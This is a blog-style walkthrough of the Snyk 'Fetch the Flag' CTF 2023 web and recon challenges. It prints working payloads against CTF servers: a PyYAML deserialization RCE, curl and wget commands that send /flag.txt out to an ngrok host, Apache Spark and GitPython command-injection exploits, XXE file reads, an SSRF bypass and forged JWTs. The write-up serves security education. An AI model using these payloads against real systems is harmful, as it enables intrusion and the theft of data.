Home Snyk CTF 2023
Post
Cancel

Snyk CTF 2023

Fetch the Flag CTF

Hosted By Snyk and John Hammond

START: OCTOBER 27, 9:00 A.M. ET

END: OCTOBER 28, 9:00 A.M. ET

Warmups

Finders Keepers

Patch found a flag! He stored it in his home directory… should be able to keep it?

1
2
3
4
5
6
7
8
9
user@finders-keepers-6e952f10fa75fbc4-5d5979cbf-d4pzd:~$ pwd
/home/user
user@finders-keepers-6e952f10fa75fbc4-5d5979cbf-d4pzd:~$ cd ..
user@finders-keepers-6e952f10fa75fbc4-5d5979cbf-d4pzd:/home$ ls
patch  user
user@finders-keepers-6e952f10fa75fbc4-5d5979cbf-d4pzd:/home$ cd patch/
-bash: cd: patch/: Permission denied
user@finders-keepers-6e952f10fa75fbc4-5d5979cbf-d4pzd:/home$ find /home -type f -exec grep "flag" {} \;
flag{e4bd38e78379a5a0b29f047b91598add}

YSON

Introducing YSON! Need to transform your YAML code into JSON? We’ve got you covered!

We get a website that converts YAML code into JSON.

yson-homepage

There are multiple ways to approach this challenges.

Read the flag

1
!!python/object/new:tuple [!!python/object/new:map [!!python/name:eval , [ "{1:str(__import__('os').popen('cat /flag.txt').read())}" ]]]

yson-flag

Get the Flag through a request

As sometimes it isn’t possible output the flag on the site, we can setup our own webserver through ngrok or webhook.site and use this payload:

1
!!python/object/new:os.system ["wget https://955d-2a02-a03f-e416-1500-e96e-77f-ce3e-61d.ngrok-free.app?$(cat /flag.txt)"]

yson-request

1
2
3
4
$ ./ngrok http 127.0.0.1:80                                 
HTTP Requests                 
-------------
GET /flag{6766066cea624a90b1ae5b47a4a320d9} 404 File not found

Web

Back the Hawks

We are Back the Hawks! We’re a non-profit that seeks to protect hawks across the world. We have a vibrant community of Backers who are all passionate about Backing the Hawks! We’d love for you to join us… if you can figure out how to get an access code.

NOTE - any resemblance to other companies, non-profits, services, login portal challenges, and/or the like, living or dead, is completely coincidental.

There is a secret endpoint you can POST request to: “/back/the/hawks/invite/code”.

We get a response:

1
2
3
4
{
    "hint":"this message is encrypted, there's no way to break it! Forget about backing the hawks. Your journey ends here.",
    "message":"TB_LRQ_EBOB_YXZHFK_QEB_EXTHP_2023"
}

This is a Caesar Cipher (with key 3), which we can crack by running it through an online decipher tool. The invite code is: “WE_OUT_HERE_BACKIN_THE_HAWKS_2023”.

Upon registering you get the flag: flag{3ef532159716ecfb9117f56f4ead4fb6}

Sparky

Alright sparky, here’s another web application test for you. We’re running this in prod but we’ve given you a separate dev instance to test. No source code, no inside info. Just pwn and profit and tell us how you did it!

sparky-homepage

This website is running Apache Spark version 3.1.1 which is vulnerable to CVE-2022-33891.

As we need to exfiltrate the flag, we need to set up a webserver that can reach outside. We used ngrok but you can also use sites like webhook.site.

1
2
3
4
5
$ python3 -m http.server 80                            
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...

$ ./ngrok http 127.0.0.1:80
Forwarding  https://a180-2a02-a03f-e416-1500-e96e-77f-ce3e-61d.ngrok-free.app -> http://127.0.0.1:80

In the PoC, we can see the example of an attack:

1
http://localhost:8080/?doAs=`echo%20%22c2xlZXAgMTAK%22%20|%20base64%20-d%20|%20bash`

We need to exfiltrate our flag so we use the payload:

1
curl https://a180-2a02-a03f-e416-1500-e96e-77f-ce3e-61d.ngrok-free.app?`cat /flag.txt|base64`

We based64 encode our payload and put it in the PoC example, now we have the URL to make a request to:

1
http://challenge.ctf.games:31219?doAs=`echo%20"Y3VybCAgaHR0cHM6Ly9hMTgwLTJhMDItYTAzZi1lNDE2LTE1MDAtZTk2ZS03N2YtY2UzZS02MWQubmdyb2stZnJlZS5hcHA/YGNhdCAvZmxhZy50eHR8YmFzZTY0YA=="%20|%20base64%20-d%20|%20bash`

While we get an error, when we look at our web server, we can see an incoming request

1
2
3
$ python3 -m http.server 80                            
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
127.0.0.1 - - [02/Nov/2023 19:43:14] "GET /?ZmxhZ3sxY2Y1ZjBmMTM1OTE0ZTUxNTRhNmZlMjAwODViMGI3YX0K HTTP/1.1" 200 -

When we decode the query string, we get the flag:

1
2
$ echo -n "ZmxhZ3sxY2Y1ZjBmMTM1OTE0ZTUxNTRhNmZlMjAwODViMGI3YX0K" | base64 -d
flag{1cf5f0f135914e5154a6fe20085b0b7a}

Gethub

All my friends have been recently sending me Github links.

The only problem is that I don’t have time to download all the repos.

So I created this tool that lets my friends can submit repos and I can download them all at once.

gethub-homepage

We see that this webpage uses GitPython version 3.1.0 in the dockerfile.

1
RUN python3 -m pip install flask GitPython==3.1.0

This version is vulnerable to Remote Code Execution (CVE-2022-24439).

We can force the application to execute commands. We can create a repository and copy the flag file to this new repository which we can then download.

We can send the payload in the clone request.

1
2
3
4
POST /clone HTTP/1.1
Host: challenge.ctf.games:32684

repo=ext::sh -c mkdir% repositories/exploit/;% cp% flag.txt% repositories/exploit/flag.txt

gethub-repo

We are now able to download the zip that contains our newly created folder that contains the copied flag.txt file.

flag{9ac087876c0c64de3f607d8d61e5e6c2}

BedSheets

Buying new bed sheets is always a hassle, so I made a new website to make it easier.

Hint: Flag is at /home/challenge/flag.txt

This challenge spawns a website that calculates the price for a certain bedsheet.

bedsheets-homepage

We also get the code and notice that in the createSheets function, xml is being converted to xlsx.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
@app.route('/createSheets', methods = ['POST', 'GET'])
def create():
    if request.method == 'POST':
        output_folder = "calcSheets"
        try:
            new_repo = request.data.decode('ascii')
            template_xml = f'<!--?xml version="1.0" ?--> {new_repo}'
            now = datetime.now()

            filename = f"{now.strftime('%Y_%m_%d_%H_%M_%S')}.xlsx"
            f = open(f'{output_folder}/{filename}', 'wb') 
            f.write(xml2xlsx(template_xml)) 
            f.close()
            
            return redirect(url_for('sheets'))
        except:
            return redirect(url_for('errs'))
        
    else: # GET request
        return render_template('calculations.html')
@app.route('/finishedSheets/<sheetname>')
def finished_select(sheetname):
    path = f"./calcSheets/{sheetname}"
    a = send_file(path, as_attachment=True,download_name = sheetname,
        mimetype='application/vnd.ms-excel')
    return a

We can do a request to the /createSheets endpoint injecting our XXE payload to get the “flag.txt” file. We define the “flag.txt” file as an external entity called ent and embed it in the xml data so it gets loaded and output to the converted xlsx file.

1
2
3
4
5
6
7
8
9
10
11
POST /createSheets HTTP/1.1
Host: challenge.ctf.games:32665

<!DOCTYPE replace [<!ENTITY ent SYSTEM "file:///home/challenge/flag.txt"> ]>
<sheet title="Dream Sheets">

                <row><cell>Bed Size</cell><cell>&ent;</cell></row> 
                <row><cell>Color</cell><cell>#ffffff</cell></row> 
                <row><cell>Thread Count</cell><cell>400</cell></row>
                <row><cell>Quantity</cell><cell>1</cell></row>
                </sheet>

We can now download our rendered xlsx file.

bedsheets-xlsx

This file contains the flag.

bedsheets-flag

Unhackable Andy

Someone might want to let ol’ Andy know the old addage - pride goeth before the fall.

We get a webpage with an introduction of Unhackable Andy.

andy-homepage

There is also a link to their github repositories.

andy-github

When we look at the commit history, we can see a commit called “remove env info, yikes” that deletes the environment file that contained credentials.

andy-commit

1
2
ADMIN_USERNAME=unhackableandy
ADMIN_PASSWORD=ThisIsASUPERStrongSecuredPasswordAndIAMUNHACKABLEANDYYYYBOIIIII133742069LOLlolLOL

We can successfully log in with these credentials.

andy-dashboard

There is an input box that executes commands on the server, we can use it to print out the flag.

andy-flag

Unhackable Andy 2

Andy’s back and… he hasn’t learned much, has he?

Intended Solution

There is a tag called “env” in the Github repository.

andy2-tag

When we select that tag, we don’t see anything. Certain information may not be displayed on the web interface, especially if it’s intended to be kept hidden or if it’s not part of the repository’s documentation. We clone the repository and run git show env to show the associated data with the “env” tag.

1
2
3
4
5
6
$ git clone git@github.com:unhackableandy/my-other-awesome-site.git
Resolving deltas: 100% (4/4), done.
$ cd my-other-awesome-site 
$ git show env                                                     
ADMIN_USERNAME=unhackableandy
ADMIN_PASSWORD=imSTILLunhackableANDYANDonelittleslipupdoesntNegateMyDECADESofGENIUS!!!@!@@@!@@!@!

Use the credentials to login and get the flag.

flag{6cca40347aeadf0338a75ced36a0a35a}

Unintended Solution

This has been patched later in the CTF.

Andy has deleted their .env file from their repositories but we can reuse sessions to perform remote code execution and retrieve the new enviroment file.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
@app.route("/dashboard", methods=["GET", "POST"])
def dashboard():
    if not session.get("logged_in"):
        return redirect(url_for("login"))

    # Server stats
    cpu_percent = psutil.cpu_percent()
    memory_info = psutil.virtual_memory()
    disk_info = psutil.disk_usage("/")
    uptime = int(time.time() - psutil.boot_time())

    form = DashboardForm()
    ...
    ...
    ...
    return render_template("dashboard.html", form=form, stats=stats, output=output)

Go with the session of the first website. We can now run cat .env to get the latest credentials.

1
2
ADMIN_USERNAME=unhackableandy
ADMIN_PASSWORD=imSTILLunhackableANDYANDonelittleslipupdoesntNegateMyDECADESofGENIUS!!!@!@@@!@@!@!

Use the credentials to login and get the flag.

flag{6cca40347aeadf0338a75ced36a0a35a}

Protecting Camp

I made a small site to keep a list of things I need to buy to keep me safe before I go camping, maybe it’s keeping some other things safe too!

We get the source code and in the “package.json” file we can see that one of the dependencies parse-url is vulnerable for Server-Side Request Forgery attacks.

1
2
3
4
5
  "dependencies": {
    "express": "4.18.2",
    "parse-url": "6.0.0",
    "request": "2.88.2"
  }

We have the “/api/flag” endpoint that only displays the flag if the request is coming from localhost.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
app.get('/api/flag',  (req, res) => {
    var url = req.protocol + '://' + req.get('host') + req.originalUrl;
    try{
        parsed = parseUrl(url)
        if (parsed.resource != '127.0.0.1'){
            res.send("Hey... what's going on here\n");
        }else{
            fs.readFile("./flag.txt", 'utf8', (err, data) => {
                if (err) {
                    res.send("There was an error and this is sad :(\n")
            
                }else{
                    res.send(data+"\n")
                }
            });
    }} catch (error) {
        res.status(400).json({ success: false, message: 'Error parsing URL' });
    }
      
});

We have an endpoint that does a request to an external URL, which can be exploited to perform the SSRF attack.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
app.post('/api/check_connection', (req, res) => {
    const req_data = req.body; 
    let url = req_data.url;

    try{
        parsed = parseUrl(url)
        if (parsed.resource == '127.0.0.1'){
            res.send("Hey... I said check connection to outward internet. What kinda funny business are you up to?\n Protected by: parse-url\n");
        }else{
            request(url, (error, response, body) => {
                if (error) {
                  res.send("OOP, looks like we might have a problem.\n");
                } else {
                  const statusCode = response.statusCode;
                  if (body.length > 100) {
                    
                  res.send("Status Code: " + statusCode +"\n ");
                  } else {

                  res.send("Status Code: " + statusCode +"\nSite Data:\n" +body +"\n");
                  }
                
                }
            });
        }
    } catch (error) {
        res.status(400).json({ success: false, message: 'Error parsing URL' });
    }
});

We can craft an SSRF payload like discussed in Snyks blog.

1
2
3
4
5
6
7
POST /api/check_connection HTTP/1.1
Host: challenge.ctf.games:32056
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 

{
    "url":"http://google:com:@@127.0.0.1:3000/api/flag"
}

As a response, we get the flag.

1
2
3
4
5
HTTP/1.1 200 OK

Status Code: 200
Site Data:
flag{d716dd8ab70bbc51a5f1d0182c84bcc8}

Repo Recon

Leak Leak Leak

Can you find the secret leak?

We get a login page.

recon-homepage

There is also a link to access the Github repository.

recon-github

To get the flag, a JWT token seems to be verified.

1
2
3
4
5
6
7
8
9
10
11
12
13
app.get('/flag', (req, res) => {
    const token = req.cookies.auth_token;
    if (!token) {
        return res.status(403).send({ success: false, message: "No token provided." });
    }

    try {
        jwt.verify(token, JWT_SECRET);
        res.send({ success: true, flag: FLAG_VALUE });
    } catch (err) {
        res.status(403).send({ success: false, message: "Invalid token." });
    }
});

We can clone the repository and call git log --patch command is to display the commit history of the repository along with the changes made in each commit. We can then search for each instance of where JWT_SECRET is being mentioned.

1
2
3
4
5
6
7
8
9
10
$ git clone  https://github.com/mowzk/repo-recon.git
Cloning into 'repo-recon'...
Resolving deltas: 100% (15008/15008), done.
$ cd repo-recon     
$ git log --patch | grep JWT_SECRET
-JWT_SECRET=18b471a7d39b001bf79f12ab952f1364
+JWT_SECRET=18b471a7d39b001bf79f12ab952f1364
+const JWT_SECRET = process.env.JWT_SECRET;
+      const token = jwt.sign({ username }, JWT_SECRET, { expiresIn: '1h' });
+        jwt.verify(token, JWT_SECRET);

We can now build a the JWT token.

1
2
3
4
5
6
7
8
$ npm install jsonwebtoken
$ cat create_jwt.js
const jwt = require('jsonwebtoken');
const JWT_SECRET = "18b471a7d39b001bf79f12ab952f1364";
const HARDCODED_USERNAME = "admin";
console.log(jwt.sign({ HARDCODED_USERNAME }, JWT_SECRET, { expiresIn: '1h' }));
$ node create_jwt.js
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJIQVJEQ09ERURfVVNFUk5BTUUiOiJhZG1pbiIsImlhdCI6MTY5ODk1NjA3NywiZXhwIjoxNjk4OTU5Njc3fQ.XzW74QzuFKh0SH5O8c1tvNcsM8N_cpUR0_ESnxO2aAY

To get the flag, we can curl to the “/flag” endpoint with this token.

1
2
$ curl -b "auth_token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJIQVJEQ09ERURfVVNFUk5BTUUiOiJhZG1pbiIsImlhdCI6MTY5ODk1NjA3NywiZXhwIjoxNjk4OTU5Njc3fQ.XzW74QzuFKh0SH5O8c1tvNcsM8N_cpUR0_ESnxO2aAY" challenge.ctf.games:30784/flag 
{"success":true,"flag":"flag{8ee442003863b85514585c598a6a628b}"} 

Jott

Jott is the new hottness of productivity applications! Collaborate in real time, share notes, take notes, or don’t take notes! We’re not your manager. We’re not even a real company!

Go ahead and pentest the application and jott down whatever you find.

We’d like you to do a pretty thorough job, so we’ve outfitted you with a dev instane of the app. Please use these user level credentials to log in and perform an aunthenticated test.

Username- john_doe

Password - password123

We also gave you the dev-build of the app in the src directory for reference.

We have a collaborating note taking web application that we can login and see a user dashboard.

jott-homepage

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
SECRET_KEY = "jott123!"
...
...
...
@app.route('/dashboard')
def dashboard():
    token = request.cookies.get('jwt')    
    if not token:
        return redirect('/login')

    try:
        # Decoding the token
        decoded_token = jwt.decode(token, SECRET_KEY, algorithms=["HS256"])
        username = decoded_token.get("sub")
        user_notes = users_notes.get(username, [])
        if decoded_token.get('role') == 'admin':
            # Read the content of 'flag.txt'
            with open('flag.txt', 'r') as file:
                flag_content = file.read()
            return render_template('admin_dashboard.html', flag=flag_content)
        else:
            return render_template('user_dashboard.html', notes=user_notes)
    except jwt.ExpiredSignatureError:
        return redirect('/login')
    except jwt.InvalidTokenError:
        return redirect('/login')

We can use jwt.io to modify the role in the token as we know the SECRET_KEY.

jott-jwt

Updating the JWT in the request to the “/dashboard” endpoint, we log in as an “admin” and get the flag.

jott-flag

I Do Math

Welcome to the Security Secure Systems, the world’s most secured system. Our security systems are so secure!

math-homepage

We find a username and pin text box on the webpage.

math-pin

When investigating the source code, we can see that the login will always fail as it requires the password field (parseInt(pinStr)) to be equal to the password field + 1.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
 <script id="logic">
    function validateForm() {
        var username = document.getElementById("username").value;
        var pinStr = document.getElementById("password").value;
        var pin = parseInt(pinStr);

        // Perform your validation logic here
        if (username === "admin" && (pin == pin + 1)) {
            window.location.href = pin;
            return true; // Successful login
        } else {
            window.location.href = "failed_login";
            return false; // Failed login
        }
    }
</script>

We can abuse Number.MAX_SAFE_INTEGER to pass the validation.

1
2
3
4
5
6
7
8
9
10
11
const x = Number.MAX_SAFE_INTEGER + 2;
const y = Number.MAX_SAFE_INTEGER + 3;

console.log(Number.MAX_SAFE_INTEGER);
// Output: 9007199254740992

console.log(x);
// Output: 9007199254740993

console.log(x === y);
// Output: true

If we log in with “admin” and pin number “9007199254740992”, we get the flag.

math-flag

This post is licensed under CC BY 4.0 by the author.